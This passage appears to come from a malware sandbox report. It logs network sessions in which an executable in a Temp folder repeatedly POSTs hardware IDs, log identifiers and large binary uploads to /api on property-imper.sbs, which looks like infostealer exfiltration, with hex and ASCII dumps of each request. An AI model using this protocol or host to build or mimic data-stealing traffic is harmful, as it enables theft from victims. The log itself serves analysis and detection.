26d1QVmpwQAFWMB36YE+TzFyJbeIKr44MXQR+MR2abY5NrYdkKwY+EBVxBrR6PrDCQoRv8yXcox1EDHs2XZRjyAK1jxMrSm9vA2FMr3ct0pEelSb8dIfAUxtNMCVdgmOJTODeXmVNbD1dMgj3ZUC74EGBZOg7mr41aA57OxDVKPB8+NxTZUloPht/XvtiJryBBMpXq3SJwFMJNnM5E9013w/M0lZnQ3EkG39e8mIm1Y8MjnmlbMHSUBxQJ2dP
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 58 72 2b 58 30 72 41 44 34 67 47 32 6b 6e 74 47 6f 2b 75 6f 38 4d 6b 69 69 39 64 4b 53 44 42 55 63 45 5a 69 5a 51 2f 7a 54 4e 55 75 76 63 48 53 55 4f 65 47 38 44 59 56 43 30 4a 6d 2f 46 6d 52 7a 59 4d 37 42 6e 78 74 42 5a 56 6b 31 70 64 77 75 61 65 35 77 4d 72 63 30 64 4d 77 34 35 4c 45 6b 6a 47 50 63 30 66 63 4c 2f 63 71 78 72 39 44 36 77 6a 52 74 4f 50 55 34 69 48 74 51 74 79 56 54 38 6e 78 4d 72 51 54 35 33 59 6e 46 57 75 43 52 39 6b 34 46 7a 78 43 6a 39 64 4d 6e 41 50 6b 6f 4e 66 6a 41 4c 79 32 37 6f 51 66 7a 56 66 47 5a 65 65 57 38 56 63 52 69 30 65 69 33 4c 67 55 69 62 4b 4c 31 6b 77 39 74 65 47 6c 51 67 5a 51 4b 55 4f 6f 35 55 72 59 63 50 4a 51 35 73 62 77 4e 78 57 66 63 77 62 49 50 43 57 6f 6b 76 32 77 71 6b 67 77 56 48 42 47 59 43 48 73 73 67 7a Data Ascii: Xr+X0rAD4gG2kntGo+uo8Mkii9dKSDBUcEZiZQ/zTNUuvcHSUOeG8DYVC0Jm/FmRzYM7BnxtBZVk1pdwuae5wMrc0dMw45LEkjGPc0fcL/cqxr9D6wjRtOPU4iHtQtyVT8nxMrQT53YnFWuCR9k4FzxCj9dMnAPkoNfjALy27oQfzVfGZeeW8VcRi0ei3LgUibKL1kw9teGlQgZQKUOo5UrYcPJQ5sbwNxWfcwbIPCWokv2wqkgwVHBGYCHssgz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49866	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:28:57 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=67VI56Z3YSW8DDLY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: property-imper.sbs
2024-11-23 12:28:57 UTC	12853	OUT	Data Raw: 2d 2d 36 37 56 49 35 36 5a 33 59 53 57 38 44 44 4c 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 36 37 56 49 35 36 5a 33 59 53 57 38 44 44 4c 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 37 56 49 35 36 5a 33 59 53 57 38 44 44 4c 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --67VI56Z3YSW8DDLYContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--67VI56Z3YSW8DDLYContent-Disposition: form-data; name="pid"2--67VI56Z3YSW8DDLYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 12:28:59 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eajfk1veagd2qnjdahdihhoqa5; expires=Wed, 19-Mar-2025 06:15:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o%2BcvWqRI%2Fpj4NP2FjjvZbcouY7OD7mki8Y4465qEZGgOVguuP9SnzrXI%2F6OQtetba%2BhA7bACloLnuNHp%2FxqOT5k%2F74oFr3Y3mfeGW8SDAYrKbRMloIKqRopaQO5MLEFxV13TGYY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71297f2d9115d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13793&delivery_rate=1917268&cwnd=225&unsent_bytes=0&cid=3d0b3405bcc8f4a1&ts=1105&x=0"
2024-11-23 12:28:59 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:28:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49889	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:02 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IF9R6PHDCWFW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15075 Host: property-imper.sbs
2024-11-23 12:29:02 UTC	15075	OUT	Data Raw: 2d 2d 49 46 39 52 36 50 48 44 43 57 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 49 46 39 52 36 50 48 44 43 57 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 46 39 52 36 50 48 44 43 57 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 46 39 52 36 50 48 44 Data Ascii: --IF9R6PHDCWFWContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--IF9R6PHDCWFWContent-Disposition: form-data; name="pid"2--IF9R6PHDCWFWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--IF9R6PHD
2024-11-23 12:29:03 UTC	1030	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tbr0mvvbkvg8edn2fkho6mdk9u; expires=Wed, 19-Mar-2025 06:15:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fc2wI5jRcjmWRukcwC2%2FaWgV5SgUPSbER69CqArZ%2FM%2B2A%2BRf7cbEqDnSsWI0INSSWzxUNlHKCP3I%2B%2Bx8sg3e1UkC6IGl%2FLvE5nRJDGS%2FUr80ztA6LYVhzOjNTrmXIGzW5UfQxBg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71299ebed14219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16011&delivery_rate=1790312&cwnd=193&unsent_bytes=0&cid=876b83e190b64d44&ts=1028&x=0"
2024-11-23 12:29:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49907	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VAQY2Z0MV3DM46SG0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19963 Host: property-imper.sbs
2024-11-23 12:29:05 UTC	15331	OUT	Data Raw: 2d 2d 56 41 51 59 32 5a 30 4d 56 33 44 4d 34 36 53 47 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 56 41 51 59 32 5a 30 4d 56 33 44 4d 34 36 53 47 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 41 51 59 32 5a 30 4d 56 33 44 4d 34 36 53 47 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --VAQY2Z0MV3DM46SG0Content-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--VAQY2Z0MV3DM46SG0Content-Disposition: form-data; name="pid"3--VAQY2Z0MV3DM46SG0Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 12:29:05 UTC	4632	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 Data Ascii: +?2+?2+?o?Mp5p_
2024-11-23 12:29:08 UTC	1030	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvl4f7i66uf4kbnh1uaeq1jtmc; expires=Wed, 19-Mar-2025 06:15:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFm%2FM%2BEMt0QlQ2OpZwdxFEgOSTSqx8IR%2FAY0mWOYbupV%2BcSj1d%2FBBFYiTijum9JaIMtWzY0%2BqJDz404EIrY6RdLaxRXK1L%2B5hs9z3t%2Fl06vynE3kZiAdVwob1Iy5Gd7%2FhYuRtNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7129b1386cc32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20926&delivery_rate=1883870&cwnd=178&unsent_bytes=0&cid=ca1b82c736023690&ts=2282&x=0"
2024-11-23 12:29:08 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49925	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:12 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XNE8SJM1VNKIKSILHH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1275 Host: property-imper.sbs
2024-11-23 12:29:12 UTC	1275	OUT	Data Raw: 2d 2d 58 4e 45 38 53 4a 4d 31 56 4e 4b 49 4b 53 49 4c 48 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 58 4e 45 38 53 4a 4d 31 56 4e 4b 49 4b 53 49 4c 48 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 4e 45 38 53 4a 4d 31 56 4e 4b 49 4b 53 49 4c 48 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --XNE8SJM1VNKIKSILHHContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--XNE8SJM1VNKIKSILHHContent-Disposition: form-data; name="pid"1--XNE8SJM1VNKIKSILHHContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 12:29:13 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2r2e44l2q1on75i3ku4q96g6fd; expires=Wed, 19-Mar-2025 06:15:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zkPiUqdVIsu8ndkrE9IJb9kyjlJ%2BMarLqbOefDXlYXIH3wIzLKuWQZBetnJr1ugHzgMDHivLEQfT%2BuK4fTAWqq0I6Kh4zUrBErZxFs9%2Fe941qzWW3wmar7LISw4nbpOBQknV7E8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7129d9cb2f438a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2194&delivery_rate=1638608&cwnd=205&unsent_bytes=0&cid=36c2a545f04f137b&ts=1518&x=0"
2024-11-23 12:29:13 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49943	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=40M1E6PW7N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 614933 Host: property-imper.sbs
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 2d 2d 34 30 4d 31 45 36 50 57 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 30 4d 31 45 36 50 57 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 30 4d 31 45 36 50 57 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 30 4d 31 45 36 50 57 37 4e 0d 0a 43 6f Data Ascii: --40M1E6PW7NContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--40M1E6PW7NContent-Disposition: form-data; name="pid"1--40M1E6PW7NContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--40M1E6PW7NCo
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 06 56 fb 42 3f 0c 86 f2 69 77 f7 ec ba 79 81 7c b9 f2 2a 33 1e 16 2c 10 6a 53 b9 ef 71 e5 0c cd c4 4f 73 09 09 03 2b aa dd 86 d2 43 1a b4 f0 a3 b2 f3 cc f1 85 f1 7a 5d 4a f5 3e d4 8c 4f 68 7a 0b 57 41 12 d3 a6 40 88 3d 0e f3 08 ae 3c f1 72 c8 5b 94 9d 3f cb 96 db e9 cf 0b dc 0d a3 1b bc 79 c0 1b 3e 0b 85 2a e0 17 60 7b e4 87 72 6c 99 e0 ba 72 cd 2e 03 d3 e1 3b de b9 51 25 2c fe 2e a8 a1 86 87 30 4e 0a 93 ab 77 c9 37 32 6a e1 74 64 96 6f 12 44 c4 f6 be 4e 2e 60 61 44 0b ba ef 7d c5 fc 94 6e d5 c4 e5 0a d3 4a d1 47 79 41 82 3f eb 7b 3c a0 4e 2c 45 a9 7e 28 9a b3 1f 3a f4 3b 53 b0 d4 77 52 11 05 0b b3 87 fb 5c 2b d4 f0 0b 47 e6 06 4d 05 e9 f3 ce 07 a9 80 89 58 97 e8 a7 fc bb b1 30 12 b3 29 aa b3 1e fc c3 ef 9f 0b 31 a5 5e 80 05 8d f7 d3 2a f9 84 b5 4b 93 73 Data Ascii: VB?iwy\|3,jSqOs+Cz]J>OhzWA@=<r[?y>`{rlr.;Q%,.0Nw72jtdoDN.`aD}nJGyA?{<N,E~(:;SwR\+GMX0)1^*Ks
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: fe 56 32 44 d1 e6 5a 83 70 6f 2c fc 60 65 fe a0 68 58 81 94 24 8d f8 cc d8 82 8d 04 45 a5 59 51 64 db 2c 02 de ab b5 3e 6e 8b d2 a4 df 1d f2 e3 75 77 5e 8e f0 9f 13 56 63 c5 22 26 b6 85 df 7f f5 a5 70 d7 5b 07 67 df 0f cf cd 55 2c 1f f1 58 8d 10 7a 87 41 27 63 e1 4e 81 f7 db 03 a7 2a be 70 f9 14 32 3a be 4b f9 cb 60 01 bd 6b c7 7b 19 b6 03 8e 6b ff 44 1c a6 8d 4a 05 cf fe 73 f8 2b d0 e3 86 f3 4d 51 df 84 c6 7c e7 49 3c 8f 7e 77 5a ef 9f 3f e5 b4 9d 57 05 80 5a 17 7f 73 2f 9c 8a 83 d5 ff 04 7b 3d 11 6c 3f 88 95 84 cc 9a ff bb cd e0 3d a4 72 31 22 88 84 fe 33 94 2e 09 32 25 09 b9 7e a4 11 07 7e 80 d3 ee 01 00 b5 d4 3e 99 e5 cd 55 9c 5e cb f9 87 67 ec c3 74 33 e0 bf 4a 3e 0b 8c f6 fd f9 b8 b4 f0 6d 0d e1 62 bc 5a 68 50 28 04 cc ac 32 74 b1 4e 77 1d 52 d1 66 Data Ascii: V2DZpo,`ehX$EYQd,>nuw^Vc"&p[gU,XzA'cN*p2:K`k{kDJs+MQ\|I<~wZ?WZs/{=l?=r1"3.2%~~>U^gt3J>mbZhP(2tNwRf
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 08 03 be 1a d6 e5 36 04 f3 53 bf 12 ee cd 8c 3a af 19 bf 5b a5 b3 3a 79 9b 6b 4f ec 46 e8 e8 e1 ba 9f c2 56 3b 02 23 5c 03 bf 71 cb e2 88 b4 37 7f 4d c2 06 64 b4 5f 6a ad 25 cb 35 7e 92 57 55 63 6b fd 54 a3 f6 92 3c 3c f4 e8 51 eb 3f 9b 29 3f 21 29 63 03 71 5a c1 1d 4e c4 c8 f5 d1 b6 c4 93 c9 cc 5d cd e7 1f c6 85 ab 63 03 e3 79 75 65 b7 8c 28 a6 14 fd c3 51 41 86 3f e6 5c 11 99 1c bd 79 ad 24 e0 21 75 3a 14 9f 55 ab 3f 7b 82 9d d5 93 ef 1d 71 4a 10 22 d2 7f ec 4c 1d 90 dc ba bd ce c3 50 34 2d ea 41 fe 20 f1 ca 67 88 f0 6e d8 d5 03 10 f7 f5 93 cc bf f2 4a 18 04 f5 ed d5 9c 4d 74 4b ac d4 94 1b 77 8e d1 db 75 82 7a fd c4 ed f7 3f c3 f0 43 c7 e4 e1 3d 1f 54 d7 df 5f 00 5a 15 fc ce cc 13 bc 41 8e c7 6d 6e 92 c5 a3 4c 55 8e c8 83 6b 8a c9 e5 e0 d0 28 6f d3 4d Data Ascii: 6S:[:ykOFV;#\q7Md_j%5~WUckT<<Q?)?!)cqZN]cyue(QA?\y$!u:U?{qJ"LP4-A gnJMtKwuz?C=T_ZAmnLUk(oM
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 81 a9 86 2d ba 27 20 72 6d 66 34 2d 33 58 09 0d 0e a2 9c 7e 71 a6 70 a0 77 5c 13 a2 e6 41 48 5c 3b 9a 53 87 15 61 20 ca 20 d3 dc 63 46 1a a9 e7 aa a3 a3 2f 57 5a 12 46 2e fb 5f 73 99 ee 7a 18 1a 73 38 d9 b3 6d c4 e3 15 f2 01 80 23 ee 7c b3 d1 38 4f b9 a0 fe c1 9f 19 c8 a8 d7 25 36 e9 b4 6c 1c d5 c9 d9 5b 37 36 8c 34 ac e0 ce b8 07 b4 57 f3 fd a8 28 e3 28 fd 40 f6 44 ef a9 16 71 8c ee 81 ab a6 d8 d8 90 8c d7 75 01 04 b1 b1 97 42 b6 9f 1c b4 4c 95 dc 94 b2 99 3f b5 15 9a 2b 10 80 e4 a0 e4 ea 32 5a 54 8e dd 2a b2 ff cc 31 6a 9e 08 e5 dc aa 69 17 22 30 7f 3e 82 6b a6 95 3d 6e 90 c9 f2 59 f2 db 19 24 28 a3 21 dc 47 20 be 1c a0 b7 ef 9f cd 47 c4 8a 2f c7 34 0d 4d 58 cb b5 4d a6 26 69 f3 c9 81 98 fd 93 77 03 8d 7f 70 53 18 8c 9d c6 75 47 93 2d 2d c9 ce 61 e2 c3 Data Ascii: -' rmf4-3X~qpw\AH\;Sa cF/WZF._szs8m#\|8O%6l[764W((@DquBL?+2ZT*1ji"0>k=nY$(!G G/4MXM&iwpSuG--a
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: a0 9b 7c 6e 65 e2 5f d4 93 ef 7b 69 83 95 0f 99 e1 ba 26 d4 03 cb 4c af ae 49 05 42 f3 b0 cb 7b 02 58 99 52 05 0b 9f 21 5d 1e d0 69 4c fb 44 96 5c ec 2b de 37 50 fe fb 95 5b f3 13 ed 03 3c 35 cd cd ea 9f bc 86 a5 17 c3 5c ad 4a 5d ff 33 ed 1a d1 9f 31 0f 2e 62 9b 95 2e bf 90 44 b0 db a9 09 02 d7 ee c5 90 9b e7 32 25 46 e5 01 4d 9c 78 9e ab 67 a8 62 3f 58 fd e8 b3 b3 c0 aa bb 3b 98 ac 8f a6 ac 4f 73 03 83 ce 82 5d 47 04 6d be b0 fa a8 8d f6 10 c3 90 d3 81 c9 16 44 6c 20 59 48 ec e5 7b 54 23 f5 f0 f0 c7 fd 07 0f 3a 4c 08 2f 94 9f ba e1 c0 aa bc e3 72 90 f4 cf dd e1 e3 e5 d2 33 a0 58 16 97 a4 b0 b7 f6 2f 98 87 b7 04 62 28 3c 08 fb e8 68 4a e8 f9 95 22 78 a8 0f 7f 4f b9 0b 65 a3 c3 4f df ad 37 60 e4 31 61 28 7d 2d 82 16 06 88 45 b2 f0 20 c5 ca 56 d5 d8 c2 ef Data Ascii: \|ne_{i&LIB{XR!]iLD\+7P[<5\J]31.b.D2%FMxgb?X;Os]GmDl YH{T#:L/r3X/b(<hJ"xOeO7`1a(}-E V
2024-11-23 12:29:19 UTC	15331	OUT	Data Raw: 77 37 c2 03 ca 36 d1 ad 11 79 c4 6e 10 6b 99 2d 42 53 a2 a2 13 30 93 d5 09 b2 0a 62 9c 92 fa c7 77 09 6c 79 71 70 2b f3 66 18 de a5 46 75 dd 12 e8 ec 8b 56 ba ba af 61 bd 2a f3 21 48 bb 24 60 60 c1 59 11 56 60 46 4b f6 7f 11 bb 14 87 f1 8e 3b 39 2f cf 57 89 f0 4b 3c 36 d1 59 97 71 32 f5 36 e7 e4 5e d1 7b f3 d7 65 39 88 56 ad 60 27 a4 66 5f ae 7a b5 ea c6 1f 1b 2d 4a c9 a7 04 0d 37 2c 37 c6 90 82 66 82 43 64 b2 ef 68 28 fd 34 7d 24 d8 cb b7 63 98 7e 2a 80 b3 f6 b4 4b 3d 8c 1d 3f eb 4a 5e ef 75 41 b0 60 33 e0 9f b7 ac 8a 01 35 7f 3c 22 74 ef d2 33 02 bd 5e c7 6a e9 d3 17 e2 c3 b6 16 7a 66 73 09 21 9a 3b 0a 75 ec 1a cc 71 45 c0 18 f2 e9 38 6f 0b 24 85 f1 7f 7c ca 7e 75 28 9b eb 8b fc 8b 55 04 58 0c 1e a5 6e df c2 80 56 87 50 55 ae db a7 75 dc 5d f7 12 12 38 Data Ascii: w76ynk-BS0bwlyqp+fFuVa!H$``YV`FK;9/WK<6Yq26^{e9V`'f_z-J7,7fCdh(4}$c~K=?J^uA`35<"t3^jzfs!;uqE8o$\|~u(UXnVPUu]8
